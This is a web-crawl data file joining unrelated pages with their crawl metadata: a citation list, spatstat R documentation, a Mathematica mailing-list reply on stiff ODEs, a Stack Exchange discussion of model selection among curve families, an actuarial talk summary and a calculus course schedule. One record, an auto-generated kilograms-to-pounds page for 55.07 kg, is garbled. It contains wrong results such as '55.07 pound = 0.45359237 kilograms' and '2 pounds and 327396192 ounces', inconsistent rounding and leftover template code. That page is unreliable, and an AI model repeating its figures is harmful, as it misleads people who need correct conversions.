Current/Voltage-source\n19. Topologies: A Unified Approach,” IEEE Transactions on Industrial Electronics, Vol. 48, No. 1, 2001, pp. 71-81. doi:10.1109/41.904556\n20. H. Sarabadani and H. F. Farahani, “A Novel Method for Selective Harmonic Elimination and Voltage Control in Multilevel Voltage Source Inverters,” International Con-ference: Electrical Energy and Industrial Electronic Sy-stems, Penang, 7-8 December 2009.\n21. H. F. Farahani, “Investigation of Modulation Index, Operational Mode and Load Type on the SHEM Current Source Inverter,” Journal of Applied Science, 2008.\n22. H. F. Farahani and F. Rashidi, “A Novel Method for Selective Harmonic Elimination and Current Control in Multilevel Current Source Inverters,” International Re-view of Electrical Engineering-Part A, February 2010.\n23. H. Sarabadani and H. Feshki Farahani, “A Novel Method for Selective Harmonic Elimination and Voltage Control in Multilevel Voltage Source Inverters,” International Conference: Electrical Energy and Industrial Electronic Systems, Penang, 7-8 December 2009."
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https://www.rdocumentation.org/packages/spatstat/versions/1.16-2/topics/cut.ppp | [
"# cut.ppp\n\n0th\n\nPercentile\n\n##### Classify Points in a Point Pattern\n\nClassifies the points in a point pattern into distinct types according to the numerical marks in the pattern, or according to another variable.\n\nKeywords\nmethods, spatial\n##### Usage\n## S3 method for class 'ppp':\ncut(x, z=marks(x), ...)\n##### Arguments\nx\nA two-dimensional point pattern. An object of class \"ppp\".\nz\nData determining the classification. A numeric vector, a factor, a pixel image, or a tessellation. Defaults to the vector of marks of the point pattern.\n...\nArguments passed to cut.default. They determine the breakpoints for the mapping from numerical values in z to factor values in the output. See\n##### Details\n\nThis function has the effect of classifying each point in the point pattern x into one of several possible types. The classification is based on the dataset z, which may be either\n\n• a factor (of length equal to the number of points inz) determining the classification of each point inx. Levels of the factor determine the classification.\n• a numeric vector (of length equal to the number of points inz). The range of values ofzwill be divided into bands (the number of bands is determined by...) andzwill be converted to a factor usingcut.default.\n• a pixel image (object of class\"im\"). The value ofzat each point ofxwill be used as the classifying variable.\n• a tessellation (object of class\"tess\", seetess). Each point ofxwill be classified according to the tile of the tessellation into which it falls.\nThe default is to take z to be the vector of marks in x. If the marks are numeric, then the range of values of the numerical marks is divided into several intervals, and each interval is associated with a level of a factor. The result is a marked point pattern, with the same window and point locations as x, but with the numeric mark of each point discretised by replacing it by the factor level. This is a convenient way to transform a marked point pattern which has numeric marks into a multitype point pattern, for example to plot it or analyse it. See the examples.\n\nTo select some points from a point pattern, use the subset operator [.ppp instead.\n\n##### Value\n\n• A multitype point pattern, that is, a point pattern object (of class \"ppp\") with a marks vector that is a factor.\n\ncut, ppp.object, tess\n\n• cut.ppp\n##### Examples\n# (1) cutting based on numeric marks of point pattern\n\ndata(longleaf)\n# Longleaf Pines data\n# the marks are positive real numbers indicating tree diameters.\n\n<testonly># smaller dataset\nlongleaf <- longleaf[seq(1, longleaf\\$n, by=80)]</testonly>\nplot(longleaf)\n\n# cut the range of tree diameters into three intervals\nlong3 <- cut(longleaf, breaks=3)\nplot(long3)\n\n# adult trees defined to have diameter at least 30 cm\nlong2 <- cut(longleaf, breaks=c(0,30,100), labels=c(\"Sapling\", \"Adult\"))\nplot(long2)\nplot(long2, cols=c(\"green\",\"blue\"))\n\n# (2) cutting based on another numeric vector\n# Divide Swedish Pines data into 3 classes\n# according to nearest neighbour distance\n\ndata(swedishpines)\nplot(cut(swedishpines, nndist(swedishpines), breaks=3))\n\n# (3) cutting based on tessellation\n# Divide Swedish Pines study region into a 4 x 4 grid of rectangles\n# and classify points accordingly\n\ntes <- tess(xgrid=seq(0,96,length=5),ygrid=seq(0,100,length=5))\nplot(cut(swedishpines, tes))\nplot(tes, lty=2, add=TRUE)\nDocumentation reproduced from package spatstat, version 1.16-2, License: GPL (>= 2)\n\n### Community examples\n\nLooks like there are no examples yet."
] | [
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http://forums.wolfram.com/mathgroup/archive/2007/Dec/msg00700.html | [
"",
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"Re: Solving stiff differential equations\n\n• To: mathgroup at smc.vnet.net\n• Subject: [mg84501] Re: Solving stiff differential equations\n• From: Jens-Peer Kuska <kuska at informatik.uni-leipzig.de>\n• Date: Sat, 29 Dec 2007 20:03:27 -0500 (EST)\n• References: <fl4utf\\$9vb\\$1@smc.vnet.net>\n\n```Hi,\n\nscale the x[t] value to y[t]=x[t]/M ??\nRegards\nJens\n\ndkjk at bigpond.net.au wrote:\n> Hi all,\n>\n> I want to solve the following nonlinear ODE\n>\n> x'[t] == M - 3 x[t] Sqrt[-M*t + 7/10 + x[t]]\n>\n> x == 3/10\n>\n> where M is a very large number (~10^43).\n>\n> I tried solving this using\n>\n> M = 10^43;\n> s = NDSolve[{x'[t] == M - 3 x[t] Sqrt[-M t + 7/10 + x[t]],\n> x == 3/10}, x[t], {t, -10, 10}, WorkingPrecision -> 20]\n> Plot[Evaluate[x[t] /. s], {t, -10, 10}, PlotRange -> All]\n>\n> but I got a lot of errors. Could anyone please advise how I should go"
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https://howkgtolbs.com/convert/55.07-kg-to-lbs | [
"# 55.07 kg to lbs - 55.07 kilograms into pounds\n\nkg\nlbs\n\n## 55.07 kg to lbs\n\nBefore we get to the practice - it means 55.07 kg how much lbs calculation - we want to tell you some theoretical information about these two units - kilograms and pounds. So let’s move on.\n\n## 55.07 kgs in pounds\n\nWe will begin with the kilogram. The kilogram is a unit of mass. It is a base unit in a metric system, formally known as International System of Units (in short form SI).\n\nAt times the kilogram can be written as kilogramme. The symbol of this unit is kg.\n\nFirstly the kilogram was defined in 1795. The kilogram was defined as the mass of one liter of water. First definition was simply but totally impractical to use.\n\nThen, in 1889 the kilogram was defined using the International Prototype of the Kilogram (in short form IPK). The IPK was made of 90% platinum and 10 % iridium. The IPK was in use until 2019, when it was switched by another definition.\n\nNowadays the definition of the kilogram is based on physical constants, especially Planck constant. The official definition is: “The kilogram, symbol kg, is the SI unit of mass. It is defined by taking the fixed numerical value of the Planck constant h to be 6.62607015×10−34 when expressed in the unit J⋅s, which is equal to kg⋅m2⋅s−1, where the metre and the second are defined in terms of c and ΔνCs.”\n\nOne kilogram is equal 0.001 tonne. It is also divided into 100 decagrams and 1000 grams.\n\n## 55.07 kilogram to pounds\n\nYou learned some facts about kilogram, so now we can go to the pound. The pound is also a unit of mass. We want to emphasize that there are more than one kind of pound. What are we talking about? For example, there are also pound-force. In this article we want to concentrate only on pound-mass.\n\nThe pound is used in the Imperial and United States customary systems of measurements. Of course, this unit is in use also in other systems. The symbol of the pound is lb or “.\n\nThere is no descriptive definition of the international avoirdupois pound. It is equal 0.45359237 kilograms. One avoirdupois pound could be divided into 16 avoirdupois ounces or 7000 grains.\n\nThe avoirdupois pound was implemented in the Weights and Measures Act 1963. The definition of the pound was placed in first section of this act: “The yard or the metre shall be the unit of measurement of length and the pound or the kilogram shall be the unit of measurement of mass by reference to which any measurement involving a measurement of length or mass shall be made in the United Kingdom; and- (a) the yard shall be 0.9144 metre exactly; (b) the pound shall be 0.45359237 kilogram exactly.”\n\n### 55.07 kg in lbs\n\nTheoretical section is already behind us. In this section we want to tell you how much is 55.07 kg to lbs. Now you know that 55.07 kg = x lbs. So it is high time to know the answer. Just see:\n\n55.07 kilogram = 121.4085676834 pounds.\n\nIt is a correct result of how much 55.07 kg to pound. You can also round it off. After rounding off your result is exactly: 55.07 kg = 121.154 lbs.\n\nYou know 55.07 kg is how many lbs, so have a look how many kg 55.07 lbs: 55.07 pound = 0.45359237 kilograms.\n\nNaturally, in this case it is possible to also round off the result. After rounding off your result is exactly: 55.07 lb = 0.45 kgs.\n\nWe also want to show you 55.07 kg to how many pounds and 55.07 pound how many kg results in charts. See:\n\nWe want to start with a chart for how much is 55.07 kg equal to pound.\n\nKilograms Pounds Pounds (rounded off to two decimal places)\n55.07 121.4085676834 121.1540\nNow look at a chart for how many kilograms 55.07 pounds.\n\nPounds Kilograms Kilograms (rounded off to two decimal places\n55.07 0.45359237 0.45\n\nNow you know how many 55.07 kg to lbs and how many kilograms 55.07 pound, so we can move on to the 55.07 kg to lbs formula.\n\n### 55.07 kg to pounds\n\nTo convert 55.07 kg to us lbs you need a formula. We will show you two formulas. Let’s start with the first one:\n\nAmount of kilograms * 2.20462262 = the 121.4085676834 outcome in pounds\n\nThe first formula will give you the most accurate result. In some cases even the smallest difference could be considerable. So if you want to get a correct result - this formula will be the best solution to convert how many pounds are equivalent to 55.07 kilogram.\n\nSo go to the shorer version of a formula, which also enables conversions to know how much 55.07 kilogram in pounds.\n\n### 55.07 pound to kg\n\nThe second formula is down below, have a look:\n\nAmount of kilograms * 2.2 = the outcome in pounds\n\nAs you can see, this version is simpler. It can be the best option if you want to make a conversion of 55.07 kilogram to pounds in easy way, for example, during shopping. Just remember that final outcome will be not so accurate.\n\nNow we are going to show you these two versions of a formula in practice. But before we are going to make a conversion of 55.07 kg to lbs we want to show you easier way to know 55.07 kg to how many lbs totally effortless.\n\n### 55.07 kg to lbs converter\n\nAnother way to know what is 55.07 kilogram equal to in pounds is to use 55.07 kg lbs calculator. What is a kg to lb converter?\n\nCalculator is an application. It is based on longer version of a formula which we showed you in the previous part of this article. Thanks to 55.07 kg pound calculator you can quickly convert 55.07 kg to lbs. You only have to enter number of kilograms which you want to calculate and click ‘calculate’ button. You will get the result in a second.\n\nSo try to convert 55.07 kg into lbs using 55.07 kg vs pound converter. We entered 55.07 as a number of kilograms. This is the outcome: 55.07 kilogram = 121.4085676834 pounds.\n\nAs you can see, our 55.07 kg vs lbs converter is so simply to use.\n\nNow we are going to our primary issue - how to convert 55.07 kilograms to pounds on your own.\n\n#### 55.07 kg to lbs conversion\n\nWe will begin 55.07 kilogram equals to how many pounds conversion with the first version of a formula to get the most correct result. A quick reminder of a formula:\n\nNumber of kilograms * 2.20462262 = 121.4085676834 the outcome in pounds\n\nSo what need you do to check how many pounds equal to 55.07 kilogram? Just multiply number of kilograms, this time 55.07, by 2.20462262. It is equal 121.4085676834. So 55.07 kilogram is equal 121.4085676834.\n\nYou can also round off this result, for example, to two decimal places. It is 2.20. So 55.07 kilogram = 121.1540 pounds.\n\nIt is time for an example from everyday life. Let’s calculate 55.07 kg gold in pounds. So 55.07 kg equal to how many lbs? And again - multiply 55.07 by 2.20462262. It is equal 121.4085676834. So equivalent of 55.07 kilograms to pounds, when it comes to gold, is exactly 121.4085676834.\n\nIn this case it is also possible to round off the result. This is the result after rounding off, this time to one decimal place - 55.07 kilogram 121.154 pounds.\n\nNow we are going to examples calculated using short formula.\n\n#### How many 55.07 kg to lbs\n\nBefore we show you an example - a quick reminder of shorter formula:\n\nAmount of kilograms * 2.2 = 121.154 the outcome in pounds\n\nSo 55.07 kg equal to how much lbs? As in the previous example you need to multiply number of kilogram, in this case 55.07, by 2.2. See: 55.07 * 2.2 = 121.154. So 55.07 kilogram is 2.2 pounds.\n\nMake another conversion with use of shorer version of a formula. Now calculate something from everyday life, for example, 55.07 kg to lbs weight of strawberries.\n\nSo let’s calculate - 55.07 kilogram of strawberries * 2.2 = 121.154 pounds of strawberries. So 55.07 kg to pound mass is exactly 121.154.\n\nIf you know how much is 55.07 kilogram weight in pounds and can convert it using two different versions of a formula, we can move on. Now we want to show you all outcomes in tables.\n\n#### Convert 55.07 kilogram to pounds\n\nWe realize that results shown in charts are so much clearer for most of you. It is totally understandable, so we gathered all these results in charts for your convenience. Thanks to this you can quickly compare 55.07 kg equivalent to lbs outcomes.\n\nLet’s start with a 55.07 kg equals lbs table for the first formula:\n\nKilograms Pounds Pounds (after rounding off to two decimal places)\n55.07 121.4085676834 121.1540\n\nAnd now let’s see 55.07 kg equal pound table for the second formula:\n\nKilograms Pounds\n55.07 121.154\n\nAs you see, after rounding off, if it comes to how much 55.07 kilogram equals pounds, the results are the same. The bigger number the more considerable difference. Keep it in mind when you want to make bigger amount than 55.07 kilograms pounds conversion.\n\n#### How many kilograms 55.07 pound\n\nNow you learned how to calculate 55.07 kilograms how much pounds but we are going to show you something more. Are you curious what it is? What about 55.07 kilogram to pounds and ounces conversion?\n\nWe want to show you how you can convert it little by little. Start. How much is 55.07 kg in lbs and oz?\n\nFirst things first - you need to multiply number of kilograms, this time 55.07, by 2.20462262. So 55.07 * 2.20462262 = 121.4085676834. One kilogram is 2.20462262 pounds.\n\nThe integer part is number of pounds. So in this example there are 2 pounds.\n\nTo calculate how much 55.07 kilogram is equal to pounds and ounces you need to multiply fraction part by 16. So multiply 20462262 by 16. It is 327396192 ounces.\n\nSo your result is exactly 2 pounds and 327396192 ounces. It is also possible to round off ounces, for instance, to two places. Then your result is 2 pounds and 33 ounces.\n\nAs you can see, conversion 55.07 kilogram in pounds and ounces easy.\n\nThe last conversion which we are going to show you is calculation of 55.07 foot pounds to kilograms meters. Both foot pounds and kilograms meters are units of work.\n\nTo convert foot pounds to kilogram meters you need another formula. Before we show you it, look:\n\n• 55.07 kilograms meters = 7.23301385 foot pounds,\n• 55.07 foot pounds = 0.13825495 kilograms meters.\n\nNow have a look at a formula:\n\nNumber.RandomElement()) of foot pounds * 0.13825495 = the result in kilograms meters\n\nSo to convert 55.07 foot pounds to kilograms meters you need to multiply 55.07 by 0.13825495. It gives 0.13825495. So 55.07 foot pounds is 0.13825495 kilogram meters.\n\nIt is also possible to round off this result, for instance, to two decimal places. Then 55.07 foot pounds is equal 0.14 kilogram meters.\n\nWe hope that this conversion was as easy as 55.07 kilogram into pounds conversions.\n\nWe showed you not only how to do a conversion 55.07 kilogram to metric pounds but also two another conversions - to check how many 55.07 kg in pounds and ounces and how many 55.07 foot pounds to kilograms meters.\n\nWe showed you also other way to make 55.07 kilogram how many pounds calculations, it is using 55.07 kg en pound converter. This is the best choice for those of you who do not like calculating on your own at all or this time do not want to make @baseAmountStr kg how lbs calculations on your own.\n\nWe hope that now all of you can do 55.07 kilogram equal to how many pounds calculation - on your own or with use of our 55.07 kgs to pounds converter.\n\nSo what are you waiting for? Let’s convert 55.07 kilogram mass to pounds in the best way for you.\n\nDo you want to do other than 55.07 kilogram as pounds conversion? For example, for 10 kilograms? Check our other articles! We guarantee that conversions for other amounts of kilograms are so simply as for 55.07 kilogram equal many pounds.\n\n#### Kilograms [kg]\n\nThe kilogram, or kilogramme, is the base unit of weight in the Metric system. It is the approximate weight of a cube of water 10 centimeters on a side.\n\n#### Pounds [lbs]\n\nA pound is a unit of weight commonly used in the United States and the British commonwealths. A pound is defined as exactly 0.45359237 kilograms."
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.88488245,"math_prob":0.98601323,"size":14596,"snap":"2020-34-2020-40","text_gpt3_token_len":4384,"char_repetition_ratio":0.25308388,"word_repetition_ratio":0.03831845,"special_character_ratio":0.3931214,"punctuation_ratio":0.15874855,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99773806,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-09-22T14:16:54Z\",\"WARC-Record-ID\":\"<urn:uuid:c95464a9-6513-4c7c-af3c-a5e6945d5d60>\",\"Content-Length\":\"60192\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:7686999f-1926-4d2e-b632-a41db16685f2>\",\"WARC-Concurrent-To\":\"<urn:uuid:bfad5cec-ca8c-41e1-9c48-533a8f18a368>\",\"WARC-IP-Address\":\"104.31.65.229\",\"WARC-Target-URI\":\"https://howkgtolbs.com/convert/55.07-kg-to-lbs\",\"WARC-Payload-Digest\":\"sha1:KGUKYUWUO2ROFWOSXYGT62UJ2MKXOF3O\",\"WARC-Block-Digest\":\"sha1:ZQDMQA3JJROKCNANJNVPBJMGSILP5VLG\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-40/CC-MAIN-2020-40_segments_1600400206133.46_warc_CC-MAIN-20200922125920-20200922155920-00210.warc.gz\"}"} |
https://stats.stackexchange.com/questions/9334/determining-best-fitting-curve-fitting-function-out-of-linear-exponential-and | [
"# Determining best fitting curve fitting function out of linear, exponential, and logarithmic functions\n\n### Context:\n\nFrom a question on Mathematics Stack Exchange (Can I build a program), someone has a set of $x-y$ points, and wants to fit a curve to it, linear, exponential or logarithmic. The usual method is to start by choosing one of these (which specifies the model), and then do the statistical calculations.\n\nBut what is really wanted is to find the 'best' curve out of linear, exponential or logarithmic.\n\nOstensibly, one could try all three, and choose the best fitted curve of the three according to the best correlation coefficient.\n\nBut somehow I'm feeling this is not quite kosher. The generally accepted method is to pick your model first, one of those three (or some other link function), then from the data calculate the coefficients. And post facto picking the best of all is cherry picking. But to me whether you're determining a function or coefficients from the data it is still the same thing, your procedure is discovering the best...thing (let's say that which function is -also- another coefficient o be discovered).\n\n### Questions:\n\n• Is it appropriate to choose the best fitting model out of linear, exponential, and logarithmic models, based on a comparison of fit statistics?\n• If so, what is the most appropriate way to do this?\n• If regression helps find parameters (coefficients) in a function, why can't there be a discrete parameter to choose which of three curve families the best would come from?\n• I have added the model-selection tag for your convenience: linking through it will produce a large number of directly relevant threads. Other tags worth looking at include aic. You should eventually discover that the mathematical statement of this problem is missing two essential elements: a description of how and why the points might deviate from a theoretical curve and an indication of the cost of not getting exactly the right curve. Absent those elements, there are many different approaches that can produce different answers, showing that \"best\" is ill-defined. – whuber Oct 5 '13 at 16:07\n• You could set aside a percentage of your data to do validation on the model and pick the model that fits that set of validation data best. So you would in essence have three distinct sets to split your data into 1. the data to train a single model 2. data that validates each model that allows you to select the best model and 3. your actual final validation data that is not touched. – kleineg Aug 9 '18 at 13:51\n• @kleineg That sounds like the right direction. The choice of model (eg between lin/exp/log) is like a single model hyperparameter, which are in some ways just another stage of regular parameters, and stepping into it by separate train/validate/test stages could be generalized. – Mitch Aug 9 '18 at 14:34\n• Relevant: {A subtle way to overfit](johndcook.com/blog/2015/03/17/a-subtle-way-to-over-fit) - choosing between multiple model functions (eg exp vs linear vs log) is just another parameter. You could think of it as a hyperparameter (which would need a validation step) or a regular parameter in a complicated function of combination (where it would be tested in a test step). – Mitch Aug 29 '19 at 12:44\n\n## 4 Answers\n\n• You might want to check out the free software called Eureqa. It has the specific aim of automating the process of finding both the functional form and the parameters of a given functional relationship.\n• If you are comparing models, with different numbers of parameters, you will generally want to use a measure of fit that penalises models with more parameters. There is a rich literature on which fit measure is most appropriate for model comparison, and issues get more complicated when the models are not nested. I'd be interested to hear what others think is the most suitable model comparison index given your scenario (as a side point, there was recently a discussion on my blog about model comparison indices in the context of comparing models for curve fitting).\n• From my experience, non-linear regression models are used for reasons beyond pure statistical fit to the given data:\n1. Non-linear models make more plausible predictions outside the range of the data\n2. Non-linear models require fewer parameters for equivalent fit\n3. Non-linear regression models are often applied in domains where there is substantial prior research and theory guiding model selection.\n\nThis is a question that is valid in very diverse domains.\n\nThe best model is the one that can predict data points that were not used during the parameter estimation. Ideally one would compute model parameters with a subset of the data set, and evaluate the fit performance on another data set. If you are interested in the details make a search with \"cross-validation\".\n\nSo the answer to first question, is \"No\". You cannot simply take the best fitting model. Image you are fitting a polynomial with Nth degree to N data points. This will be a perfect fit, because all the model will exactly pass on all data points. However this model will not generalize to new data.\n\nWhen you do not have enough data to go through the cross-validation procedure in a sound manner, then you can use metrics such as AIC or BIC. These metrics punishes simultaneously the amplitude of residuals and the number of parameters in your model but makes strong assumptions on the generative processes of your data. As these metrics are sensitive to over-fitting, they can be used as a proxy for model selection.\n\nSince plenty of people routinely explore the fit of various curves to their data, I don't know where your reservations are coming from. Granted, there is the fact that a quadratic will always fit at least as well as a linear, and a cubic, at least as well as a quadratic, so there are ways to test the statistical significance of adding such a nonlinear term and thus to avoid needless complexity. But the basic practice of testing many different forms of a relationship is just good practice. In fact, one might start with a very flexible loess regression to see what is the most plausible kind of curve to fit.\n\n• Whether quadratic fits better, will depend on how you have operationalised good fit. In particular, if you use a measure of fit that penalises models with more parameters (e.g., AIC), then, for example, fit can be worse for quadratic versus linear. – Jeromy Anglim Apr 8 '11 at 3:28\n• @rolando, perhaps I am misunderstanding, but, frankly this sort of (unqualified) advice is precisely the kind of thing that, as statisticians, we spend so much time \"fighting\" against. Particularly, if the OP is interested in anything beyond simple curve fitting, e.g., prediction or inference, it is very important to understand the implications of the \"just try whatever you can think of\" approach to statistics. – cardinal Apr 8 '11 at 12:46\n• I'm having trouble reconciling these comments with the tradition of Anscombe, Tukey, Mosteller, Tufte, and Cleveland, which emphasizes the need to visualize and explore data and to size up the shape of each relationship before building a model, establishing coeffiencients, or generating other statistics. – rolando2 May 19 '11 at 18:40\n• There is a lot of controversy regarding their approaches. An over-simplified way to summarize these issues is that if you want to learn about patterns and make new discoveries that need later validation, exploratory analysis is appropriate. If you want to draw inference (reason from particular sample to general population using P-values, confidence intervals, etc.) then not so much. – Frank Harrell May 21 '11 at 12:34\n• This is the most productive comment thread I've seen on CV, especially the exchange b/t rolando2 (3^) & @FrankHarrell. I also find both approaches very appealing. My own resolution is to plan what to test beforehand & only fit/test that model for the sake of drawing firm conclusions, but also thoroughly explore the data (w/o believing the results necessarily hold) for the sake of discovering what might be true & planning for the next study. (Should I run another study & check something, would it be interesting/important?) The key is your beliefs about the results of these analyses. – gung - Reinstate Monica Feb 18 '12 at 20:38\n\nYou really need to find a balance between the science/theory that leads to the data and what the data tells you. Like others have said, if you let yourself fit any possible transformation (polynomials of any degree, etc.) then you will end up overfitting and getting something that is useless.\n\nOne way to convince yourself of this is through simulation. Choose one of the models (linear, exponential, log) and generate data that follows this model (with a choice of the parameters). If your conditional variance of the y values is small relative to the spread of the x variable then a simple plot will make it obvious which model was chosen and what the \"truth\" is. But if you choose a set of parameters such that it is not obvious from the plots (probably the case where an analytic solution is of interest) then analyze each of the 3 ways and see which gives the \"best\" fit. I expect that you will find that the \"best\" fit is often not the \"true\" fit.\n\nOn the other hand, sometimes we want the data to tell us as much as possible and we may not have the science/theory to fully determine the nature of the relationship. The original paper by Box and Cox (JRSS B, vol. 26, no. 2, 1964) discusses ways to compare between several transformations on the y variable, their given set of transformations have linear and log as special cases (but not exponential), but nothing in the theory of the paper limits you to only their family of transformations, the same methodology could be extended to include a comparison between the 3 models that you are interested in."
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https://www.actuview.com/video/Computing-the-Solvency-Capital-Requirement-with-Linear-Regression-and-Neural-Networks/0c510f51b4466bd0494e99160a88d8ff | [
"### Computing the Solvency Capital Requirement with Linear Regression and Neural Networks",
null,
"The Ulm Actuaries\nDescription:\n\nCalculating the solvency II capital requirement when an insurance company uses an internal model is a tremendous task, especially as the corresponding EU directive requires to derive the solvency capital from the forecast of the full loss distribution function.\n\nIn this talk, we introduce the Least-Squares-Monte-Carlo-Approach for calculating the solvency capital. This approach is based on simulating the evolution of the relevant risk factors of the internal cash-flow-projection model to the end of the year and then in a market consistent way until the end of the projection horizon. By introducing a regression approach the calculation of the required runs of the cash-flow-projection model can be kept on a level such that the method remains computationally feasible.\n\nWe present two such regression approaches, a linear regression and a nonlinear regression method in the form of a feedforward neural network. Various aspects related to the calibration of the regression functions, their validation and their final use (including the presentation and analysis of the results) are explained by an application to data that are close to those of a German life insurer.\n\nTags:\nContent groups: content2021"
] | [
null,
"https://www.actuview.com/cache/47225c82916e0b9bc5f7e5ee40218178.png",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8634489,"math_prob":0.91443783,"size":1421,"snap":"2021-43-2021-49","text_gpt3_token_len":308,"char_repetition_ratio":0.123500355,"word_repetition_ratio":0.0,"special_character_ratio":0.18859957,"punctuation_ratio":0.05172414,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9700461,"pos_list":[0,1,2],"im_url_duplicate_count":[null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-12-06T15:18:54Z\",\"WARC-Record-ID\":\"<urn:uuid:84509860-8bf5-4318-8ff9-80fb5a6784cb>\",\"Content-Length\":\"78453\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:1ace5fc4-be2a-42bd-be75-f74494bc2569>\",\"WARC-Concurrent-To\":\"<urn:uuid:40bbfe91-83cb-4d85-bbbe-a5776888d24f>\",\"WARC-IP-Address\":\"167.233.12.10\",\"WARC-Target-URI\":\"https://www.actuview.com/video/Computing-the-Solvency-Capital-Requirement-with-Linear-Regression-and-Neural-Networks/0c510f51b4466bd0494e99160a88d8ff\",\"WARC-Payload-Digest\":\"sha1:SA5DIRWMQAQRWSV33REI47LLJ7SPCFDF\",\"WARC-Block-Digest\":\"sha1:NLFLPWDGYRMKQGQLSXGZ7HHGRJQVHKQS\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-49/CC-MAIN-2021-49_segments_1637964363301.3_warc_CC-MAIN-20211206133552-20211206163552-00233.warc.gz\"}"} |
https://people.math.osu.edu/chmutov.1/01-11/03-04/m151/schedule.htm | [
"# Math 151: Calculus and Analytic Geometry (Instructor: Sergei Chmutov)\n\n## Autumn 2003. Tentative Daily Schedule\n\n 09/22 (Mo) NO CLASSES 09/23 (Tu) NO CLASSES 09/25 (Th) Introduction. 09/26 (Fri) Functions (Sec. 2.1, 2.2). 09/29 (Mo) Trig functions (Sec. 2.3). 09/30 (Tu) Introduction to limits (Sec. 2.4). 10/02 (Th) Rigorous study of limits (Sec. 2.5). 10/03 (Fri) Quiz #1. 10/06 (Mo) Limit theorems (Sec. 2.6). 10/07 (Tu) Limits involving trigonometric functions (Sec. 2.7). 10/09 (Th) Limits at infinity, infinite limits. Continuity (Sec. 2.8, 2.9). 10/10 (Fri) Quiz #2. 10/13 (Mo) Slope of a tangent line and instantaneous velocity (Sec. 3.1). 10/14 (Tu) The derivative (Sec. 3.2). 10/16 (Th) Rules for finding derivatives (Sec. 3.3). 10/17 (Fri) Quiz #3. 10/20 (Mo) Derivatives of trigonometric functions (Sec. 3.4). 10/21 (Tu) The chain rule (Sec. 3.5). 10/23 (Th) Review. 10/24 (Fri) Midterm #1. 10/27 (Mo) The chain rule (Sec. 3.5). 10/28 (Tu) Leibniz notation. Higher derivatives (Sec. 3.6, 3.7). 10/30 (Th) Implicit differentiation (Sec. 3.8). 10/31 (Fri) Quiz #4. 11/03 (Mo) Related rates (Sec. 3.9). 11/04 (Tu) Related rates (Sec. 3.9). 11/06 (Th) Approximation (Sec. 3.10). 11/07 (Fri) Quiz #5. 11/10 (Mo) Maxima and minima (Sec. 4.1). 11/11 (Tu) NO CLASSES 11/13 (Th) Monotonicity and concavity (Sec. 4.2) 11/14 (Fri) Quiz #6. 11/17 (Mo) Local maxima and minima (Sec. 4.5) 11/18 (Tu) More max-min problems (Sec. 4.4). 11/20 (Th) Review. 11/21 (Fri) Midterm #2. 11/24 (Mo) Sophisticated graphing (Sec. 4.6). 11/25 (Tu) The Mean-Value Theorem (Sec. 4.7). 11/27 (Th) NO CLASSES 11/28 (Fri) NO CLASSES 12/01 (Mo) L'Hopital's rule (Sec. 9.1, 9.2) 12/02 (Tu) Antiderivatives (Sec. 5.1). 12/04 (Th) Review for the final. 12/05 (Fri) Review for the final."
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.72152007,"math_prob":0.87742406,"size":1691,"snap":"2019-13-2019-22","text_gpt3_token_len":719,"char_repetition_ratio":0.19324245,"word_repetition_ratio":0.007843138,"special_character_ratio":0.49793023,"punctuation_ratio":0.2281106,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.995004,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-03-26T19:02:27Z\",\"WARC-Record-ID\":\"<urn:uuid:7f60ca11-9f74-4fd5-aa18-508c72186b5a>\",\"Content-Length\":\"4210\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:2e56dc5d-4568-4b20-b4cc-cdffb448329a>\",\"WARC-Concurrent-To\":\"<urn:uuid:cd2bb24b-1db9-4401-b158-fbc2105cf014>\",\"WARC-IP-Address\":\"140.254.92.165\",\"WARC-Target-URI\":\"https://people.math.osu.edu/chmutov.1/01-11/03-04/m151/schedule.htm\",\"WARC-Payload-Digest\":\"sha1:QJ3STAR6UIBR3MKSFPPGIT57EIZCJG3W\",\"WARC-Block-Digest\":\"sha1:VTP74P5RZLI7DQBRYWA3M4PSEPPJWWK5\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-13/CC-MAIN-2019-13_segments_1552912205600.75_warc_CC-MAIN-20190326180238-20190326202238-00282.warc.gz\"}"} |
http://trainers.neaq.org/2009/05/112-queens-wave.php | [
